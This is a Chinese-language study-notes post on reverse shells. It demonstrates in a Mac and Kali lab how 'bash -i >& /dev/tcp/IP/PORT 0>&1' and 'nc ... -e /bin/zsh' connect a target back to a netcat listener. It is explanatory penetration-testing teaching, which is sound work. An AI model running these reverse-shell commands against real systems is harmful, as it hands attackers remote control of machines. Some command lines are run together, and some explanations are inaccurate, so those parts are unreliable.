> 文档中心 > 【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

文章目录

前言

为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯)

作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考1


更容易阅读的版本在这里,点击传送


常用的反弹shell命令:
bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

何为shell

Shell 脚本(shell script),是一种为 shell 编写的脚本程序。

如何执行

有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以执行

shell种类

linux

Bourne Shell/usr/bin/sh或/bin/sh)Bourne Again Shell/bin/bash)C Shell/usr/bin/csh)K Shell/usr/bin/ksh)Shell for Root/sbin/sh)..

Mac

bashzsh..

Windows

PowerShellCmd..

bash与sh

bash对sh兼容,是各种Linux发行版标准配置的Shell

何为反弹shell:

:::tip

  • 让靶机主动执行连接我们本地机器的命令
  • 优点:
  • 靶机更换ip后依然不会丢失权限
  • 连接方便、操作简单
  • 相较于传统后门不易被清理等优势;
    :::

正向shell

可以理解为q1给q2打电话,q2接电话,完成信息接通

反弹shell

可以理解为q1给q2打电话,q2把q1的电话号码保存下来,然后重新呼叫了q1

linux反弹shell

nc(NetCat)

可实现任意TCP/UDP端口的侦听

安装nc(发行版linux默认已安装)

命令:

yum install nc -y

使用方法

nc -lvp 4444 # -lvp (l监听v输出p端口)

实战

靶机执行:

bash -i >& /dev/tcp/192.168.0.10/4444 0>&1# bash -i  启动交互式命令bash # -i将输出重定向到文件# /dev/tcp 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)# 192.168.0.10/4444 连接的ip和端口(即本地计算机)# 0>&1     远程的输入和输出(消息呈现方式为远程)
命令 解释
bash -i 启动交互式命令bash
-i 将输出重定向到文件
/dev/tcp 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)
192.168.0.10/4444 连接的ip和端口(即本地计算机)
0>&1 远程的输入和输出(消息呈现方式为远程)

实战时注意

:::warning
Mac监听端没有nc -lvp port此命令 只有nc -lv port
:::

实战中,我拿Mac和kali-linux进行测试

查看Mac和Linux的ip命令:

sudo suifconfig

kali的ip:10.211.55.4
kali的ip:10.211.55.4Mac的ip:10.37.129.2
Mac的ip:10.37.129.2

正向连接- Mac连接kali

1.kali启动监听:(先启动监听,否则拒绝连接)

sudo sunc -lv 7777

在这里插入图片描述
Mac执行:

sudo suzsh -i > /dev/tcp/mac监听ip/mac监听端口(ls,pwd,whoami,cd /tmp,)

在这里插入图片描述
此时Mac终端执行者已经变为kali的root用户

尝试发送信息(Mac->kali)

whoami

在这里插入图片描述kali机:监听端口并且实时回显信息
在这里插入图片描述尝试在kali上执行命令

pwd

在这里插入图片描述

在这里插入图片描述
可以看到Mac上并无信息

因为此时为单方通信,即Mac的信息呈现在kali

反弹shell

shell:Mac->(攻击)kali

Mac开启监听

nc -lv 7777

在这里插入图片描述
kali开启shell

nc 10.211.55.2(Mac:ip) 7777 -e /bin/zsh(zsh或者bash) 

ps:模拟渗透测试时通过某个途径将shell命令发送到了kali机器并成功执行

在这里插入图片描述
此时在Mac(攻击机)上执行命令:

whoami

在这里插入图片描述
可以看到Mac机成功执行命令,并且反弹回相关信息

再看看kali机
在这里插入图片描述

并无任何显示

反弹shell:linux——>(攻击)kali
kali开启监听

nc -lvnp 7777

在这里插入图片描述

Mac被攻击,执行了shell命令:

bash -i >& /dev/tcp/10.211.55.4(kali)/7777 0>&1

在这里插入图片描述
此时kali已经有回显信息了,并且连接成功为bash
在这里插入图片描述
在kali上执行命令,成功回显
在这里插入图片描述
Mac不能执行主动终结命令,权限属于kali机

以上就是我对反弹shell的理解和感受,欢迎留言
写作耗时约2h@(。・o・)@

阅读更多(๑•̀ㅂ•́)و✧Fighting

  1. https://blog.csdn.net/qq_37092496/article/details/122931617 ↩︎

全民K歌